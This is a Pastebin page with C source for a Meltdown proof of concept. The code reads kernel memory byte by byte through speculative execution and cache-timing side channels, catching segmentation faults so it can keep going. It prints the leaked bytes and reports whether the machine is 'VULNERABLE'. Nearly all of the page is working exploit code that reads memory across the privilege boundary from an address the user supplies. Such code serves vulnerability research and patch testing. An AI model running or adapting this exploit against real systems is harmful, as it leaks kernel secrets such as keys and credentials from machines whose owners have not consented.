Advertisement
Guest User

meltdown.c 256-byte chunks

a guest
Jan 7th, 2018
225
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 5.65 KB | None | 0 0
  1. #define _GNU_SOURCE
  2.  
  3. #include <stdio.h>
  4. #include <string.h>
  5. #include <signal.h>
  6. #include <ucontext.h>
  7. #include <unistd.h>
  8. #include <fcntl.h>
  9. #include <ctype.h>
  10.  
  11. #include <x86intrin.h>
  12.  
  13. #define DEBUG 1
  14.  
  15. /* comment out if getting illegal insctructions error */
  16. #ifndef HAVE_RDTSCP
  17. # define HAVE_RDTSCP 1
  18. #endif
  19.  
  20. #if !(defined(__x86_64__) || defined(__i386__))
  21. # error "Only x86-64 and i386 are supported at the moment"
  22. #endif
  23.  
  24.  
  25. #define TARGET_OFFSET       12
  26. #define TARGET_OFFSET       8
  27. #define TARGET_SIZE         (1 << TARGET_OFFSET)
  28. #define BITS_READ           8
  29. #define VARIANTS_READ       (1 << BITS_READ)
  30.  
  31.  
  32. #define STRINGIZE(s)        STRINGIZE_(s)
  33. #define STRINGIZE_(s)       #s
  34.  
  35. #define TARGET_OFFSET_STR   STRINGIZE(TARGET_OFFSET)
  36.  
  37. static char target_array[VARIANTS_READ * TARGET_SIZE];
  38.  
  39. void clflush_target(void)
  40. {
  41.     int i;
  42.  
  43.     for (i = 0; i < VARIANTS_READ; i++)
  44.         _mm_clflush(&target_array[i * TARGET_SIZE]);
  45. }
  46.  
  47. extern char stopspeculate[];
  48.  
  49. static void __attribute__((noinline))
  50. speculate(unsigned long addr)
  51. {
  52. #ifdef __x86_64__
  53.     asm volatile (
  54.         "lea %[target], %%rbx\n\t"
  55.         "1:\n\t"
  56.  
  57.         ".rept 300\n\t"
  58.         "add $0x141, %%rax\n\t"
  59.         ".endr\n\t"
  60.  
  61.         "movzx (%[addr]), %%eax\n\t"
  62.         "shl $" TARGET_OFFSET_STR ", %%rax\n\t"
  63.         "movzx (%%rbx, %%rax, 1), %%rbx\n"
  64.  
  65.         "stopspeculate: \n\t"
  66.         "nop\n\t"
  67.         :
  68.         : [target] "m" (target_array),
  69.           [addr] "r" (addr)
  70.         : "rax", "rbx"
  71.     );
  72. #else /* ifdef __x86_64__ */
  73.     asm volatile (
  74.         "lea %[target], %%ebx\n\t"
  75.         "1:\n\t"
  76.  
  77.         ".rept 300\n\t"
  78.         "add $0x141, %%eax\n\t"
  79.         ".endr\n\t"
  80.  
  81.         "movzx (%[addr]), %%eax\n\t"
  82.         "shl $" TARGET_OFFSET_STR ", %%eax\n\t"
  83.         "movzx (%%ebx, %%eax, 1), %%ebx\n"
  84.  
  85.  
  86.         "stopspeculate: \n\t"
  87.         "nop\n\t"
  88.         :
  89.         : [target] "m" (target_array),
  90.           [addr] "r" (addr)
  91.         : "rax", "rbx"
  92.     );
  93. #endif
  94. }
  95.  
  96. static inline int
  97. get_access_time(volatile char *addr)
  98. {
  99.     int time1, time2, junk;
  100.     volatile int j;
  101.  
  102. #if HAVE_RDTSCP
  103.     time1 = __rdtscp(&junk);
  104.     j = *addr;
  105.     time2 = __rdtscp(&junk);
  106. #else
  107.     time1 = __rdtsc();
  108.     j = *addr;
  109.     _mm_mfence();
  110.     time2 = __rdtsc();
  111. #endif
  112.  
  113.     return time2 - time1;
  114. }
  115.  
  116. static int cache_hit_threshold;
  117. static int hist[VARIANTS_READ];
  118. void check(void)
  119. {
  120.     int i, time, mix_i;
  121.     volatile char *addr;
  122.  
  123.     for (i = 0; i < VARIANTS_READ; i++) {
  124.         mix_i = ((i * 167) + 13) & 255;
  125.  
  126.         addr = &target_array[mix_i * TARGET_SIZE];
  127.         time = get_access_time(addr);
  128.  
  129.         if (time <= cache_hit_threshold)
  130.             hist[mix_i]++;
  131.     }
  132. }
  133.  
  134. void sigsegv(int sig, siginfo_t *siginfo, void *context)
  135. {
  136.     ucontext_t *ucontext = context;
  137.  
  138. #ifdef __x86_64__
  139.     ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate;
  140. #else
  141.     ucontext->uc_mcontext.gregs[REG_EIP] = (unsigned long)stopspeculate;
  142. #endif
  143.     return;
  144. }
  145.  
  146. int set_signal(void)
  147. {
  148.     struct sigaction act = {
  149.         .sa_sigaction = sigsegv,
  150.         .sa_flags = SA_SIGINFO,
  151.     };
  152.  
  153.     return sigaction(SIGSEGV, &act, NULL);
  154. }
  155.  
  156. #define CYCLES 10000
  157. int readbyte(int fd, unsigned long addr)
  158. {
  159.     int i, ret = 0, max = -1, maxi = -1;
  160.     static char buf[256];
  161.  
  162.     memset(hist, 0, sizeof(hist));
  163.  
  164.     for (i = 0; i < CYCLES; i++) {
  165.         ret = pread(fd, buf, sizeof(buf), 0);
  166.         if (ret < 0) {
  167.             perror("pread");
  168.             break;
  169.         }
  170.  
  171.         clflush_target();
  172.  
  173.         speculate(addr);
  174.         check();
  175.     }
  176.  
  177. #ifdef DEBUG
  178.     printf("\n");
  179.     for (i = 0; i < VARIANTS_READ; i++)
  180.         if (hist[i] > 0)
  181.             printf("addr %lx hist[%02x] = %d\n", addr, i, hist[i]);
  182. #endif
  183.  
  184.     for (i = 1; i < VARIANTS_READ; i++) {
  185.         if (!isprint(i))
  186.             continue;
  187.         if (hist[i] && hist[i] > max) {
  188.             max = hist[i];
  189.             maxi = i;
  190.         }
  191.     }
  192.  
  193.     return maxi;
  194. }
  195.  
  196. static char *progname;
  197. int usage(void)
  198. {
  199.     printf("%s: [hexaddr] [size]\n", progname);
  200.     return 1;
  201. }
  202.  
  203. static int mysqrt(long val)
  204. {
  205.     int root = val / 2, prevroot = 0, i = 0;
  206.  
  207.     while (prevroot != root && i++ < 100) {
  208.         prevroot = root;
  209.         root = (val / root + root) / 2;
  210.     }
  211.  
  212.     return root;
  213. }
  214.  
  215. #define ESTIMATE_CYCLES 1000000
  216. static void
  217. set_cache_hit_threshold(void)
  218. {
  219.     long cached, uncached, i;
  220.  
  221.     if (0) {
  222.         cache_hit_threshold = 80;
  223.         return;
  224.     }
  225.  
  226.     for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
  227.         cached += get_access_time(target_array);
  228.  
  229.     for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
  230.         cached += get_access_time(target_array);
  231.  
  232.     for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
  233.         _mm_clflush(target_array);
  234.         uncached += get_access_time(target_array);
  235.     }
  236.  
  237.     cached /= ESTIMATE_CYCLES;
  238.     uncached /= ESTIMATE_CYCLES;
  239.  
  240.     cache_hit_threshold = mysqrt(cached * uncached);
  241.  
  242.     printf("cached = %ld, uncached = %ld, threshold %d\n",
  243.            cached, uncached, cache_hit_threshold);
  244. }
  245.  
  246. static int min(int a, int b)
  247. {
  248.     return a < b ? a : b;
  249. }
  250.  
  251. int main(int argc, char *argv[])
  252. {
  253.     int ret, fd, i, score, is_vulnerable;
  254.     unsigned long addr, size;
  255.     static char expected[] = "%s version %s";
  256.  
  257.     printf("TARGET_SIZE   = %u\n", TARGET_SIZE);
  258.     printf("VARIANTS_READ = %u\n", VARIANTS_READ);
  259.    
  260.     progname = argv[0];
  261.     if (argc < 3)
  262.         return usage();
  263.  
  264.     if (sscanf(argv[1], "%lx", &addr) != 1)
  265.         return usage();
  266.  
  267.     if (sscanf(argv[2], "%lx", &size) != 1)
  268.         return usage();
  269.  
  270.     memset(target_array, 1, sizeof(target_array));
  271.  
  272.     ret = set_signal();
  273.  
  274.     set_cache_hit_threshold();
  275.  
  276.     fd = open("/proc/version", O_RDONLY);
  277.  
  278.     for (score = 0, i = 0; i < size; i++) {
  279.         ret = readbyte(fd, addr);
  280.         if (ret == -1)
  281.             ret = 0xff;
  282.         printf("read %lx = %x %c\n",
  283.                addr, ret, isprint(ret) ? ret : ' ');
  284.  
  285.         if (i < sizeof(expected) &&
  286.             ret == expected[i])
  287.             score++;
  288.  
  289.         addr++;
  290.     }
  291.  
  292.     close(fd);
  293.  
  294.     is_vulnerable = score > min(size, sizeof(expected)) / 2;
  295.  
  296.     if (is_vulnerable)
  297.         fprintf(stderr, "VULNERABLE\n");
  298.     else
  299.         fprintf(stderr, "NOT VULNERABLE\n");
  300.  
  301.     exit(is_vulnerable);
  302. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement